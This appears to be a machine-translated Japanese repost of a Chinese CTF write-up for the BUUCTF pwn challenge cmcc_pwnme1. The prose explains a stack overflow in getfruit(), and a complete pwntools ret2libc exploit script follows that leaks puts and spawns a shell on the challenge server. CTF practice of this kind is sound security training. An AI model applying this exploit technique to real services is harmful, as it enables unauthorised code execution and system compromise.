[BUUCTF] PWN-cmcc_pwnme1(ret2libc)

cmcc_pwnme1

別館

ステップ

  1. 定期検査、32ビットプログラム、保護をオンにするのに役に立たない
    ここに画像の説明を挿入します
  2. 一般的な状況を確認するには、ローカルで試してください
    ここに画像の説明を挿入します
  3. 32ビットのidaがロードされ、文字列を取得するときにフラグを読み取る関数が見つかります。
    ここに画像の説明を挿入します
    このフラグの場所は明確ではありませんよね?buuの習慣によると、
    main()
    ここに画像の説明を挿入します
    getfruit()、ここにスタックオーバーフローがあります
    ここに画像の説明を挿入します
  4. まず、フラグを読み取る関数を試してみてください。思ったように、buuのフラグディレクトリはありません。
    ここに画像の説明を挿入します
  5. nxをオンにするのは役に立たないことがわかったので、最初はシェルコードを使用したかったのですが、スタック上のパラメーターv1の位置を取得できなかったため、ret2libcに切り替えました。

完全な経験

from pwn import *
from LibcSearcher import *

#r=process('./pwnme1')
r=remote('node3.buuoj.cn',25064)
elf=ELF('./pwnme1')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']

#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)

#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)

r.interactive()

ここに画像の説明を挿入します

おすすめ

転載: blog.csdn.net/mcmuyanga/article/details/113433052